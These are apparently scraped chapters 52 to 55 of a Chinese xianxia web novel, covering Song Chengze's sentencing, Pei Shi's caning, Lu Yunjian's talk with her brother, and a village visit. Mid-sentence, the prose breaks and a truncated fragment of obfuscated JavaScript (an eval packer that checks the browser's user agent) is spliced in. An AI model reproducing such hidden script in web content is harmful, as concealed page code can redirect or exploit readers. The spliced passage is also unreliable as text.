直到后来,有人找到他,说要助他报仇,传授他布设幻境之术时,他没有选择其他或隐蔽或省事的方式,他选了最为残忍也最易暴露的—— 化出黑龙幻影,活活将那些人啃咬至死,鲜血淋漓的窟窿,与妄尘的鳞片被一片一片生生扯下时的伤口那样相似。 再后来,他将他们一一找出来,一一杀死,最后追到了同渊阁,天下第一大商行。昔日的郝仁,如今已经成了天下第一大商行的主人,所有人都要恭恭敬敬地唤他一声“同渊先生”。 他想起郝仁关于“命数”的言论。 设下幻境,如同以往许多次那样,放出黑龙幻影时,他看到郝仁面若金粉、抖如筛糠,口齿不清又言辞混乱,一会儿求饶,一会儿求救,一会儿又说“只是我遇上了这个机缘,换作别人,也一样会这么做,这不能怪我,这世上的人都一样”。 而他只静静地旁观着黑龙幻影啃食郝仁的每一寸血肉,等待尖叫哀嚎止息,送他一命归西。 直到郝仁的身形扭曲模糊,化作一摊血水时,宋承泽才忽然意识到,原来他的十年是这样的苍白单调,而他已经结束了这十年,即将迎来他自己的死亡。 公正与否,无人再会关心。 从此溟海村没有海妖,没有神龙,也没有村民,此后这村子或是消失或是复兴,或许都不再会有人知道这许多往事,更不会有人知道“宋承泽”……他为自己取的名字,忘却来处也忘却归途,只记得自己承蒙了谁的恩泽,又要为谁报仇。 宋承泽闭了闭眼,将双手递给裴世,裴世当即会意,施法将宋承泽的双手缚住。 一行人御剑而行,到达云间世时,正巧天光大亮。 52. 罪罚定 先前黑龙幻境一事爆出来后,在短时间内引起了不小的恐慌,如今同渊先生身死,同渊阁一夜之间被毁,此事便再忽视不得,众人都要讨一个说法。 于是云间世第二日便给出了说法:宋承泽设置幻境杀害溟海村村民数十人,罪不容诛,处以斩首;裴世知情不报,但念在他亲手抓获宋承泽,将功折罪,处杖刑一百。 宋承泽行刑定在午时,届时将有众多各门派弟子以及百姓前来见证。裴世的所谓“知情不报”则属云间世门派内事务,众人一到云间世便即刻执行。 戒律堂的位置定得很妙,深秋霜寒露重,弟子们一下早课便都急急忙忙赶往饭堂,而从赶往饭堂的必经之路上微一抬头,便能瞧见戒律堂的匾额。 裴世的运气更是好,刚陈明了原由错责,就碰巧遇上了弟子们下早课。 于是他跪在戒律堂正中,前面是戒律长老宣读繁琐的门规,后面是一众弟子好奇地堵在门口,叽叽喳喳地议论: “我的妈啊,那是归云仙君吗?我都没怎么见过他,这怎么……” “怎么好不容易见一回,就碰见他挨打啊……” “啧啧啧,云间世真的……罚起来不管是谁都不放过的。” “他犯的什么事?打得可真狠。” “说是同渊阁那个事……知情不报什么的。” “要我说,他平日里那个不把人放在眼里的样子……真都快忘记自己是谁了。他再怎么厉害,还不是云间世的人?” 裴世垂首闭眼,恍若未闻,专心挨打。他穿的是黑衣,一百杖下去,竟瞧不出什么皮开肉绽的痕迹。 陆云笺原先站得远了些,此时见他站起来,赶忙去扶,却被一阵浓重的血腥之气扑了满脸。 裴世的腰板仍然挺得很直,除了脸色略微苍白了些,神情仍是一贯的从容不迫,见陆云笺来扶,他只道:“不用扶。又不是腿断了。” 陆云笺道:“那我也总得干点什么意思意思,我又不是来看戏的。” 饶是裴世面上完全跟个没事人一样,陆云笺也知道,这一百杖可是半点不含糊的,因此二人回裴世住处时,都自然而然地走得极慢。 待到瞧不见云间世众弟子时,陆云笺便从怀中拿出几瓶药,正欲递给裴世,手刚碰到他的衣料,手边的人忽地不见了。 陆云笺:“??” 裴世忽然踉跄了一下,跌下了几层石阶,险些直接滚下去。 陆云笺忙一把将他扯回来,把药塞到他手上:“止痛的止血的消肿的,都是内服的。” 她知道,这一百杖已是陆明周极力保裴世的结果了,要不然,真问起条条罪名来,哪有一百杖这么容易? 裴世接过药,瞥了陆云笺一眼,颇有些意味深长的意思。他没急着服药,将药瓶轻轻巧巧地提在手中,忽然没头没脑地问了一句:“你心情不好?” “……啊?”陆云笺一怔,不知他为何有此一问,“我?” 陆云笺思考片刻,道:“也不能说是心情不好,我就是觉得……各种事情,有点太乱了,我不知道我所想的和所做的,到底是不是应该的,又是不是正确的。” 裴世轻笑一声,道:“那便只管去做,由此而来的什么后果,该担的便都担着。” 陆云笺抬眸望他。 那笑容里很有些永不回头的从容与洒脱,是他一贯的作风,但陆云笺并不知道,此时他说这话,又是什么意思。 于是裴世继续说道:“这是从前,你告诉我的。” 陆云笺垂眸,淡淡地笑了笑:“我还以为,从前的‘我’,做任何事情,都会有很多顾虑、很多考量。” “或许是吧。”裴世收敛了笑容,平淡地道,“但这也并无妨碍,说与做,本也不是一样的。”不等陆云笺回应,他便径自换了话题,“还有四个问题没有解决。” “……”陆云笺先是一怔,而后从善如流地选择了新话题,“哪四个问题?” 裴世道:“一是传授宋承泽幻境之术的人究竟是谁,二是谁人想引我们进同渊阁,三是谁人助海妖夺魂,四则……是同渊阁为何要陷你于偶人阵。” 陆云笺思索片刻,诚恳地道:“我觉得,这四个问题都不是眼下能快速解决的。不过对这第四个问题……其实我一直有个疑问。” 裴世停了脚步,侧头看着她,示意她说下去。 陆云笺道:“既然云间世与同渊阁来往很多,那同渊阁的人是不是应该认识我?就算不认识,也应该多多少少见过面,但我感觉同渊先生那些人似乎都不认识我。” 裴世这次却颇为公允地道:“修真门派与商贾来往并不多,同渊阁虽是例外,但它也只是近些年才兴起,取代德昌行成为第一大商行更是一年前才有的事,它势头虽猛,且阁中多修士,但与云间世走得近也不过半年有余,若是没见过,倒也不足为怪。” 陆云笺心中疑虑打消了一半,袖下手指却仍不自觉地攥紧了。 疑虑虽减,不安犹存。尽管没有任何怀疑云间世、怀疑自己家,但陆云笺觉得,云间世与同渊阁走得那么近,绝不可能简单。 裴世偏偏又在此时说:“只不过如此说来,陆明周想要押妄尘前辈回云间世审问,倒让我想起了一件事。” 陆云笺道:“什么事?” 裴世看着她,一字一顿地道:“白虎残魂。” “……” “世人皆知,四大神兽,青龙白虎玄武朱雀,以此天之四灵开阵,范围极广,法力极强,绝大多数强效阵法都可开启。上古神兽的踪迹几不可寻,但四大神兽的同族、后代以及残留痕迹,若费心去寻,却也能收获不少。云间世费心修复白虎残魂之事,我们也算亲眼见证,而妄尘前辈既是神龙……” 裴世没再说下去,而陆云笺自然知道他是要说什么。虽有种族属性等等的相差,但若想要妄尘代替四灵中的青龙位开启阵法,也不是全然不可行。 陆云笺笑了笑:“裴公子想告诉我什么?防人之心不可无吗?” 裴世道:“我也不过是,看到了一些东西,有了几分猜测,便想和陆小姐分享分享。” 陆云笺道:“只是猜测吗?可我觉得,裴公子说的话都很有理有据,就比如,上次溟海海妖窜逃时,旁人都不知它是逃往了何处,裴公子却一眼就看出来那是我父亲闭关清修的地方。” 这话里的亲疏情感太过明显,陆云笺活像一只满身的刺都通通竖了起来的刺猬,向着谁护着谁,把谁放得更重,便是傻子都觉得一目了然。 裴世良久都没再说话。 最后陆云笺败下阵来,道:“裴世,我明白你的意思,我也知道,你或许调查了很多,所以会比我更加了解云间世的许多事。还有,关于云间世,既然我不能全盘知晓,那就不能全盘信任,谢谢你提醒我。但是,我这个人,平生最怕两件事,一是亲人反目,二是朋友陌路。既然云间世是我家,那么我的父亲和兄长想做什么,我都会全力支持、尽力帮助。” 陆云笺说得很坚决,不自觉中却已是汗流涔涔,仿佛一番斩钉截铁的说辞,都不过作困兽斗。慌乱迷茫中,她仍是习惯性地想去寻她的家人的,可在这个时空,她的家人,从来都不仅仅是她的家人。 陆云笺不自知地退了很多步,原本和裴世并肩而行,此时却早已与他拉开一段距离。她后知后觉地反应过来,上前几步,又停住了。 “我得趁午时之前再去看看宋承泽,我还有事要问他。先走了。”陆云笺慌忙间搬了件正事出来,没有去看裴世的脸,转身就走。 越走越快,直到快要下到石阶尽头,忽然听见裴世唤她:“陆云笺。” 陆云笺蓦地止步,却没有转身。 裴世的声音听不出什么情绪,说的也只是另外一件事:“你之前说过,想四处走走看看,见一见各处的景色。季衡他们三人不久后应当要动身前往江南地带,继续巡查各处,你可想与他们一道吗?” 陆云笺转身,只能瞧见裴世立在石阶尽头,黑衣招展,却看不清神情。她道:“那你呢?”< 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宋承泽行了一礼:“陆仙君。”他抬眼看见陆云笺只身一人,难得现出了一抹愧疚之色,“连累陆仙君与裴仙君良多,甚是愧疚。” “……”陆云笺没接这话,而是问道,“之前那些人身上的龙鳞,是你取走的吗?” 宋承泽点头道:“那些龙鳞,还有同渊阁的龙鳞宝剑,都埋在溟海村,我的坟茔之下。我有一不情之请,只望陆仙君与裴仙君能将那些鳞片封入溟海,或许还能再护溟海百年……这也是它的夙愿。” “……好。”陆云笺道,“还有一事,之前我们赶往溟海村时,曾路过一个叫上坪村的村子,那里有一户人家,统共五口人,还有一个八岁的小女孩。那个小女孩说她家遭遇了黑龙幻境,而在当晚,那户人家除了她之外全部葬身火焰。那把火,是你放的吗?” “不是。”宋承泽蹙着眉,似有几分茫然,答得却很肯定,“我不曾去过什么上坪村。” 听他如此说,陆云笺一颗心沉到了底。 虽说早有心理准备,猜想上坪村之事并非宋承泽所为,可宋承泽说他甚至不曾去过上坪村,这就很不妙了。 放火杀人任何东西都能做,可黑龙幻境,若不是宋承泽,又能是谁所为?当时她与裴世二人之所以去燕燕家中,正是为这黑龙幻境,难不成是有谁特意想把他们引过去吗? 陆云笺缓缓直起身,道:“好了,就这两个问题。你……你可还有什么事想托我们去做吗?” 宋承泽沉默许久,道:“若是方便,我死后,一把火烧了便好,不必再埋至溟海村了。” “……”这话原当是很沉重的,陆云笺不知道该如何接,沉默片刻,犹豫着开口,“那你在溟海村立的……” 宋承泽道:“妄尘之身在溟海,想来会有些孤寂,我的坟冢,或能聊以作伴。而我此身,不愿再回溟海村。” 陆云笺点点头,在原地站了片刻,而后缓缓向外走去。 算算时辰,行刑前应当还有陈列证据、陈述罪责之类的流程,那么要不了多久,宋承泽就该被押出去了,出去之后,便是千夫所指,一身罪恶,重重骂名,永世不得脱。 陆云笺忽地停住脚步,回头问道:“宋承泽,你会后悔吗?” 宋承泽还立在牢门前,隔着重重结界符咒向她投来意味不明的目光,闻言,只缓缓闭上眼,微微一弯嘴角。 世人都说他手段残忍,人面兽心,也有人判他罪不容诛,诘问他可曾有半点悔过之心。 可神龙承参世仙人夙愿,妄入红尘,却被它心心念念保护的百姓生剥龙鳞之时,可曾有人问过它疼不疼,悔不悔吗? 其实陆云笺话一出口,就知道他的答案会是什么,他如此反应,她也毫不意外。 陆云笺便转过头,朝着牢狱之外透进的微光走去。 刚见了外头的天光,便迎面撞上一人,月白衣袍招展,那人身形一滞,似乎微有些意外。陆云笺抬头看清了他,也是一怔,而后唤道:“……哥。” 53. 讳言谶 陆明周微一点头:“云笺,你来此处是有什么事吗?” 陆云笺道:“之前追查幻境的事的时候遇到了一些问题,来问问。” 陆明周道:“那问题解决了吗?” “解决了,但是又遇到了新问题,我还得再捋捋。”陆云笺道,“刚好我也有一件事,想问问哥。” “什么事?” 陆云笺却并没有立刻就问,而是抬头望着陆明周,试图从他的眼睛里看出些端倪。可看来看去,只觉得这张无比熟悉的脸,渐渐生出了几分陌生,尽管从一开始她就知道,两个时空的陆明周,并不是一样的人。 “我想问的是,哥想要押所谓妖龙回云间世审问,真的只是单纯地审一审吗?如果审出它无罪,可会放它去轮回吗?” “……”陆明周微微蹙眉,“若是有罪,自当按律论处,若是无罪,自当还它清白,为何有此一问?” “那如果它是参世仙人座下的神龙,神力通天呢?” 陆明周微微一怔,却没有立刻回答。 “哥还是不方便告诉我,就像不方便告诉我为什么希望我接近裴世,也不方便告诉我为什么要高价拍下白虎残魂,也不方便告诉我,是不是要寻到四方神兽,寻四方神兽,又是为了做什么。” 陆云笺并不是想要一个答案,只是将疑问和盘托出,几句之间,心却越来越沉,越来越没有波澜。 陆明周没有回答任何一个问题,陆云笺也没有等。在他开口之前,陆云笺再一次先一步妥协:“……如果实在不方便告诉我,那就算了。” 她攥紧衣袖,将目光移向别处,硬邦邦地说道:“可云间世既是第一大门派,那么对任何事都应该查明来龙去脉。宋承泽的确是设置黑龙幻境杀人的凶手,可他为什么杀那些人,那些溟海村村民包括同渊先生又做过什么,也应该是要一一查清,然后公布天下的吧?我相信哥也相信云间世,此事一定会还所有人一个公道。” 到最后二人都良久沉默不语,直到陆云笺与陆明周擦身而过,陆明周都没有说一句话,也不曾有任何动作。 外头阳光正明媚,天气大好,陆云笺却感到一阵阵晕眩,腿脚都有些发软,不知是不是连日奔波、不曾好好歇息的缘故,只是她脚步并不曾放慢半分,仍是直直奔着另一头的流丹阁而去。 陆云笺与流丹阁也算阔别已久,走时新桂初开,回时流丹阁前已换成了烈烈红枫,染得屋门前云蒸霞蔚,倒真应了“流丹”二字。 此时红枫如火,陆云笺却不合时宜地想起来桂花扑面而来的浓郁香气,浓郁到想躲时都难以躲掉。 云间世的桂花开时,陆云笺习惯性地盘算要不要摘些桂花做糕点,陆明周前来寻她,一身月白衣袍流着月光,沾染着夜间秋露与淡淡的桂花香,向她走来,而她却觉得兄长离得越来越远,几乎模糊看不清面目。 只有模糊之间,陆云笺才能看见那个总是犯蠢的哥哥。 现代的陆明周对桂花过敏,虽说少了些享用桂花糕、桂花糖之类的福气,但平日里稍微闻一闻,也还是没什么大碍的。但不巧就不巧在,陆云笺总是盼着秋日桂花,好将它们采来,捣碎了做桂花糕。 一日糕点才成型,尚未端出,陆明周还当是陆云笺藏了个什么宝贝,偷摸到了厨房,一口下去,脸肿了好几天,完全见不得人,整日里裹得跟个粽子似的。 那时陆云笺就想,以后陆明周惹了她,她就在吃的里边掺点桂花,绝不能叫他好过。 陆云笺透过重重桂花,忽地笑出了声。 陆明周走到她面前,问:“云笺,笑什么?” 陆云笺笑意未收,问:“哥,你对桂花过敏吗?吃桂花糕的话,脸会不会肿起来?” 陆明周虽不知她何意,但还是思考了片刻,道:“我不怎么吃糕点。小时候身体不好,便不敢乱吃东西,每日除了用些简单饭菜之外,不常吃别的什么东西。”然后他将目光转向她,温温和和地问,“怎么了?” …… 陆云笺猛地收了视线,逃也似的奔进流丹阁,躲进了榻间。 一觉醒来,天色已晚,外头也渐渐安静下来,想来晚饭时间已过,众弟子都用过了晚饭,已经各自回住处休息。 陆云笺坐在床边缓了会儿,起身前往饭堂。所幸饭堂里还有些饭菜,陆云笺虽并不大饿,但还是草草地用了饭,走出饭堂,抬头望向一片漆黑的夜空。 与夜空接壤的,正是山顶的中孚大殿,它仍如往常一样,在众人都准备休息的时候,兀自亮着一点孤光。想必陆明周也正如往常一样,正在偏殿和一堆繁琐的事务鏖战。 陆云笺望了那亮着微光的大殿片刻,终于转身选了条近路,奔着山顶而去。 离得近了才发现,亮着灯的并不是偏殿,而是正殿。 正殿向来灯火辉煌如同白昼,此时却一反常态地只点了寥寥几盏灯,堪堪映着殿中一人,无边黑暗中,只有那几点孤灯。 大殿中央的背影很熟悉,在无边无际的黑暗中,他独自一人跪在正中,垂着头,背脊却挺得很直。 陆云笺万万没想到会是这么个场景,尚未反应过来,那人却像后背长了眼睛似的,已经出声唤她:“云笺?” 陆云笺愣在门口,难以置信道:“……哥?这……这是怎么了?” 陆明周的声音却很平淡,与平日里无任何差别:“我做了错事,这也是应该的。我不方便起来,你可以靠近些吗?我有些话想同你说,一直没有时间去找你。” 陆云笺便进了门,走到陆明周身边。昏暗灯光映着他的脸,显出较平日里更重的疲惫之色。 陆明周在殿内扫视一圈,似乎是想找个什么坐垫椅子之类,陆云笺却毫不犹豫在他身旁的地上坐了,道:“哥,有什么事?” “……”陆明周嘴边浮起一抹淡淡笑意,随即又轻叹一口气,“你说的事,我想了许久,身为兄长,的确有不当之处。我也曾问过父亲,是不是太急了,如此,对你是不是不公平……” 陆云笺一颗心提了起来。 陆明周叹了口气,没再继续,但也没有直入主题,而是问:“你可曾听过三百二十年前仙人与魔王的故事吗?” 陆云笺:“……” 陆明周道:“数百年前,修真界出了一位魔王,性情暴戾,大肆屠杀,那段时日,人间血流漂杵,生灵涂炭。后来魔王虽被仙人杀死,但以魂飞魄散为代价,设下了一个法术,终有一日,魔王麾下众妖魔鬼怪会重归于世,再造劫难。” 这故事和裴世之前与她讲的没什么不同,陆云笺凝神听着,并无意外。只是裴世说这个故事真假未知,而陆明周却道:“此事并非虚言。 “魔王留下的诅咒,究竟何时爆发我们不得而知,但绝非虚言。近日妖魔鬼怪隐隐躁动,或许就昭示了……在不远的时日,诅咒就会应验。 “云间世结界之内,原当邪祟不生……但由于父亲近来灵力不稳,结界便也不如往常稳定,时而有小邪小祟作乱,或许正应了魔王的诅咒。 “我们自然不能坐以待毙,四方神兽之阵,正是为应对将来的灾劫所创。以四方神兽阵法为基,可开启覆盖方圆万里的最强防御结界,是为圣清结界。只是如今四方神兽早已销声匿迹,我们便也只能寻找神兽同族以作替代之用。 “云间世与镜阳宗都派了修士在外,一是为打探神兽下落,二是巡察各处,探查各处妖魔鬼怪的情况、联系各地方门派。 “为增强圣清结界的效用,我们将其制成了千机阵,由三大门派与部分地方门派共设千机阵、共同开启圣清结界,共对灾劫。” 陆云笺微微蹙眉看着陆明周,一时间竟不知该作何反应 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“既是神力不支,又即将前往转生,那便强求不得。神兽的事,还是再想办法罢。”陆明周微微叹了口气,“还有裴世……你提醒他,处事莫要太过张扬,莫要太过惹人注目。” 陆云笺知道他说的是裴世炸毁同渊阁一事,裴世是近年来势头最猛的年轻修士,本就因师出无门而多受非议,若再张扬行事,怕是会引来更多仙门中人的口诛笔伐。 陆云笺神色复杂,轻轻点了点头,沉默片刻,道:“哥,我能……”话未说完,便觉不妥。 即便她是天下第一大派的修士、连续数年修士榜的榜首,曾经能独创法术、独当一面,轻易斩杀妖魔鬼怪于剑下,但现在的她,又能做些什么? 陆云笺的身子泄了气一般矮下去一截,她道:“是不是我恢复记忆,就都好了?” 陆明周道:“恢复记忆的事,父亲与我都会想办法,你莫要太过挂怀。” 陆云笺垂眸许久,她原想告诉陆明周妄尘前辈会开启合魂法阵助她恢复记忆的事,可话到嘴边,却不知怎么又咽了下去,再抬头时,她的神色略微苦涩,却很坚决:“哥,无论需要我做什么,你和爹爹同我说,我都会尽力去做的。护佑百姓是云间世的责任,而我们永远都是一家人,对吗?” 陆明周怔了一瞬,而后笑道:“是。” 陆云笺总算笑了,先前种种或紧绷或尴尬的气氛,都在这笑里消失殆尽。 她原本坐在陆明周的斜对面,此时起身,重新坐到了他身边。陆云笺问:“哥,你要在这……呃,自省多久?” 陆明周不明所以:“到明早即可。怎么了?” 陆云笺笑道:“那我就在这里,陪着你吧。” 此时已近午夜,两人却并无多少困意,在偌大的、昏暗的中孚殿内有一搭没一搭地聊着。 大殿庄严,他们聊的大多数却并不是什么严肃的大事,有时甚至闲话家常,恍若寻常人家的一对亲兄妹。即便在现代,陆云笺与兄长也极少有这样和睦的时候。 前半夜里,陆云笺很是兴奋,许是白日里睡得久,精力还充沛,毫无困意。 到了后半夜,许是昏暗灯光起了些作用,陆云笺渐渐觉得困意上涌,虽然打算撑着陪陆明周跪完这一夜,却不知在哪个瞬间没把住关,一不留神便睡了过去。 再醒来时,人已在流丹阁的床榻上,陆明周也早已不见了踪影。 许是近来紧绷的精神终于放松了些许,陆云笺这一觉睡得格外舒适悠长,看看窗外天色,已是傍晚了。 陆云笺休息得餍足,推开门打算出去透透气,就瞧见屋前石阶上缓缓行来一白衣人,白色身影几乎与山间雾霭连成一体,正缓步朝她走近。 54. 访旧檐 裴世提着一只白瓷酒壶,瞧见陆云笺开了门,在石阶上停了片刻,才继续拾阶而上,走得极慢,倒让陆云笺觉得自己走也不是,不走也不是。 待他走到门前,陆云笺问道:“裴世,你怎么来了?” 裴世瞥她一眼,轻飘飘地道:“路过。” 陆云笺看看远在山的另一头的裴世的住处,陷入沉思。 裴世却没半点不自在,只从怀中拿出一方锦盒,递到她手上。 陆云笺定睛一看,略微惊讶:“这是……妄尘前辈?” 裴世道:“交给你,会比放在我这里更稳妥。” 陆云笺垂眸摩挲着锦盒的一角,半晌才将它收进怀里,道:“我哥应该不会再寻妄尘前辈了。” 许久没有听见裴世说话,陆云笺抬头去看,见他正意味不明地看着自己,目光相触,他也丝毫没有避开,而是忽然问道:“陆云笺,你还记得你娘亲吗?” 陆云笺一怔。 自来到这个世界,陆云笺从没有提起过自己的母亲,她对母亲的记忆已经有些远,虽不曾忘记,但看到云间世四处并没有母亲的痕迹,也不曾听父兄提起,因此也不便去问。 后来遇到贩卖假秘籍的道士,说她是云间世尊主的义女,便更是缄口不提,唯恐又牵扯出什么复杂的因果缘由。 可裴世这么一问,陆云笺却很是意外。她想过或许有朝一日,会有人向她提起她的母亲,或许是父亲,是陆明周,是贺江年,再不济是季衡、季瑶,可裴世为什么会提? 陆云笺一动不动地看着他,半晌都没说话。 裴世也一动不动地看着她,片刻后将壶中酒一饮而尽,将酒壶一抛,白瓷壶落在地上,瞬间摔成了碎片。 裴世看也不看,忽地抓过陆云笺的手,紧接着手中忽起金色灵光,归云长剑呼啸而至。 他一把将陆云笺拽到剑上,尚未及她反应,归云便以迅雷不及掩耳之势腾飞至万丈高空,直直冲过云间世的结界,才又恢复至百丈的高度。 陆云笺的心脏有一瞬受不了,这剑腾飞得迅猛而突然,她腿都有些发软,下意识紧紧抓着裴世,调整好呼吸,蹙眉道:“做什么?!” 裴世的语气平平淡淡、无甚起伏:“带你去见你娘亲。” 陆云笺忽地觉得被一道惊雷砸中,什么百丈高空、呼啸夜风都顾不得了,她的呼吸再度急促起来,半晌才开口,却惊觉喉咙早已干涩,以至于声音都有些嘶哑:“……我母亲她,还在世吗?” “……”这回却轮到裴世沉默了,半晌才道,“在你所说的‘现代’,你的母亲还在世?” “没有。”陆云笺紧绷的心弦倏忽放松下来,陷入熟悉的怅然,“我的母亲,很早就不在了。” “……”这回裴世又不知该说什么,只知方才那句话问得很不对,却又不知该如何挽救。 他侧目望着陆云笺,平生第一次生出了几分无措,好在陆云笺很快便拾掇好了情绪,手背悄悄抹过眼角,欲盖弥彰地笑道:“裴世,你喝酒了。” “嗯。” “你这是酒驾。喝酒不……不御剑,难道修真界没有这样的规矩?” 裴世轻笑道:“是吗?我只知道,修真界有御剑不能超速的规矩。”说着脚下归云嗡鸣一声,犹如离弦之箭,刺破漫漫夜空,径直朝着远处山峦行去。 上回陆云笺乘了季衡的剑,不过说了一句他超速严重,此时裴世却像是要和当时季衡的剑一较高下似的,全然不顾几乎要人魂分离的陆云笺。 到底行了多长时间,陆云笺感知不到,只知前头身体乘着剑行得飞快,后头魂魄追得辛苦,下了地,都还不知道自己是谁、到了什么地方。 这具身体的素质好得可怕,这样飞了不知多久,眩晕感却也只持续了一瞬。 待到陆云笺恢复神智,有些涣散的瞳眸再次亮起来时,她早已清醒了,只是到这时才意识到自己正靠在一棵树旁,四周是黑黢黢的山林,唯有远处亮着一点光,不知是什么地方。 始作俑者正好整以暇地靠在旁边另一棵树边,神嫌鬼憎的面目隐在夜色后头。 陆云笺恢复了力气,张口想骂:“你有……”却见四周漆黑一片、人烟稀少,想来是个极好的杀人灭口之处,于是只悄悄瞪了他一眼,换了下文,“你有什么事吗,裴公子?” 然而裴世转身便走,陆云笺不明所以,但见四周只有那一条弯曲小径,便只得跟上。走出一段路,四周林木忽地稀疏了不少,豁然开朗。 陆云笺可算是知道先前看见的若隐若现的光亮是什么了。 此时那光亮的源头就在二人面前,紫色的结界光芒流转,却因时隔太久,渐渐地不再那么庞大坚固、灵力充沛,有些部分甚至已经化作了星星点点的微光,逐渐流散。 而在那层紫色结界之外,一道庞大的金色结界横亘在重重山林间,可见部分虽不过几丈高,可强劲的灵力却实实在在上接天穹,金光流淌的屏障之中,角落里绽着三三两两的细碎花痕,是白梅花。 这一紫一金两道结界护着的,是林间一处小村庄,村里人应当用饭用得比较晚,别处的人都预备歇息了,村中却还灯火通明、炊烟袅袅。 陆云笺说不出话来。 她虽然并不是这个时空的人,却也知道,这个地方她应当是很熟悉的,似乎是常来此处,见到结界之内的璨璨灯火,竟生出一种长久漂泊之人终于得以归家的错觉。 罩在外层的金色结界是新设的,常常或修整或加固,也一直有着丰沛稳定的灵力供应,而里头的那层紫色结界,失去了灵力供应,已经渐渐衰弱。 陆云笺模糊地感受到一道微妙的感应,手指下意识勾了一勾,紫色灵光跃起,那层紫色的结界,便也相应地亮了一瞬。 她并不清楚其中具体缘由,眼眶却已不自知地湿润了:“……里面的这层结界,是我设的吗?” “是。”裴世侧头看着她,没有劝,没有宽慰,也没有多作解释,“这才是你真正的家。” 陆云笺无暇去思考他的言外之意,无暇去想什么是真什么又是假,她只抬腿向村中奔去,甚至不曾抬手试探护着这座村庄的防御结界。 她很清楚,这两道结界,哪道都不会拦她。 村中的灯火比从结界外头瞧来更亮,却在陆云笺的眼中模糊成一片光影,她几乎视物不能,于是狠狠一抹眼睛,眼前景象清晰起来的同时,屋里头的大娘正好端菜出来,坐在石桌旁玩耍的孩童这才抬起头,注意到了闯入的人。 那位大娘有着一副令陆云笺觉得半生不熟的面孔,在现代时似乎也在哪里见过,只是不曾交往太多,因此记不清楚,也一时想不起来。 陆云笺还愣在原地,那位从屋里出来的大娘也愣着,半晌,连手中的碗还没来得及放,有些惊讶、有些雀跃又有些手足无措地朝另一间屋里喊道:“柳娘子!柳娘子!” “不要喊嘞。” 一道响亮的声嗓从屋后绕了出来,来人一身粗布麻衣,却用各色粗布搭了个宛如天边云霞的色彩来,一条薄薄的红纱挽在手上,尾端坠着铁皮铜片削成的坠饰,就这样挽成了一条披帛。分明是廉价的装饰,可来人大大方方,举手投足间毫不扭捏,倒是丝毫不显土气。 “大晚上的,不要喊嘞,这儿虽然有结界,但保不齐还是可能招些什么乱七八糟的东西来的,小裴在门派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳娘回过头,原本牵着陆云笺的手便下意识抚上了她的头,正要说些什么,却听陆云笺道:“是裴公子前些日子不慎摔坏了脑子,到现在也不见好。我是之前受了一点伤,所以有许多事暂时想不起来了,但是总有一天,都还是能想起来的。” 裴世:“……” “好,好。”柳娘双眼含泪,“你们在修仙门派,刀里来火里去的,太危险啦。好在你们都还好好的……云笺,我们有两年都没见你啦,刚做好了饭,你俩要是还没吃晚饭,就一起吧,别嫌弃。” 村人们用的晚饭简单,柳娘原想自己再去做两个好菜,不过和他们坐一桌的另一位大娘不善言辞,便主动接过了这下厨的活儿,留下两个孩子和他们坐在一起。 “这两年,云笺没有来过,小裴也来得少,就是来了,也一句话都不说。云笺设的这道结界也越来越淡,我们总担心出了什么事。好在,现在你们都平平安安地回来了,终于可以睡个好觉咯。前些日子又梦见了你娘,她同我说,好久没见到云笺了,有时间能不能带她来见一见?哎我,我真是糊涂了,做的什么梦啊。” 只有在说起这些事的时候,一贯爽朗大方的柳娘才终于显出几分疲惫与沧桑之色,她的声音很轻缓,有时讲得投入了,甚至忘了还有两个人坐在旁边听着。 “我说,云笺现在在天下第一大的修仙门派里边,自己也有一身的本事,你担心什么呢?但有时候,要是出门做点什么事,路过的时候,总还是想去看看。可是仙门第一大派那么高那么大,我们都进不去,就在门口张望着,万一碰巧瞧见你们的影子呢。” 陆云笺道:“柳娘,你们要是想来找我们,让人传个话就好了,我们一定会来见你们的。” 裴世也道:“不是留了好多通讯符么?若是想找我们,点燃便好。” 这两句话,却是同时出口的。 55. 照孤灯 裴世这话说得很温和,与他平日里的作风全然不同。 陆云笺抬眸望向裴世,月色下那人笑得很柔和,总算符合了那副温和亲切的好皮相。 她这时才发现,裴世平日里习惯穿黑衣,这回却穿了一身素白衣裳,月华流照,更衬得人如温玉。 伪装得很好,很有几分狼披上了羊皮的模样。柳娘也好,众村人也好,便都没有瞧出来他平日里是个什么东西,想来他在这里维持这么一副亲切好相处的样子已经很久了,久到大家都觉得他很温和,很乖顺,很…… 陆云笺甚至都没有想完,就不知从哪儿腾出了一股怒气,看着他的眼神,就不由自主地带上了点杀气。 这下裴世想装作没注意到陆云笺的目光也不行了,于是他转过头来,直迎她的目光,诡异地笑了笑:“我们感应到了,一定会立刻赶来。” 柳娘全然不觉旁边两人渐浓的剑拔弩张的气氛,只笑着摇了摇头:“你们也有自己的事要做呀,怎么好随随便便叫你们。我们平日里没什么事做,到处逛一逛看一看,也挺好的。” “但是云笺,”柳娘忽然严肃起来,攥紧了陆云笺的手,“你可不许再没声没息消失这么久了,你受了伤不告诉我们,我们会更担心的。 “我们这一村子的人的命都是你救下来的,你的安危比我们自己更重要,知道吗?要是有什么不方便的,也至少让小裴带个话来,别没声没息的突然见不着人,好么? “你娘她已经很苦了,她把你托付给我,我再见不得你……” 正在这时,下厨那位大娘将加的两盘菜都端了上来,腾腾热气扑了满脸,一旁一直在玩儿的两个小孩终于转过头来,惊喜地扑到了石桌前。 柳娘终于松了陆云笺的手,止住了眼泪与话语,道:“吃饭吧。” 陆云笺虽然并不清楚这其中许多事情,却忽然有些于心不忍,道:“你们不要担心我,我现在过得挺好的。虽然有些事情暂时想不起来了,对许多事情多少有些不习惯,但其实……真的挺好的。” “好就好,好就好。”柳娘便终于又恢复了先前的明媚颜色,张罗着布菜夹菜。 这一桌只有那么几个人,菜式也都是简单的家常菜,热闹也是很简单的热闹。 陆云笺在这样简单的热闹中,久违地被氤氲热气迷了眼,看见的不再是重重山峦间、庞大结界下的一方小小石桌,而是除夕夜,季衡、季瑶一家邀了她家与贺江年家,一起吃饭守岁。 陆云笺自小没了母亲,每逢过节家中总是空落了些,贺江年的父母又常年在外工作,难得回家,于是若是几家人都方便,除夕春节,季衡、季瑶一家总是叫他们一起。 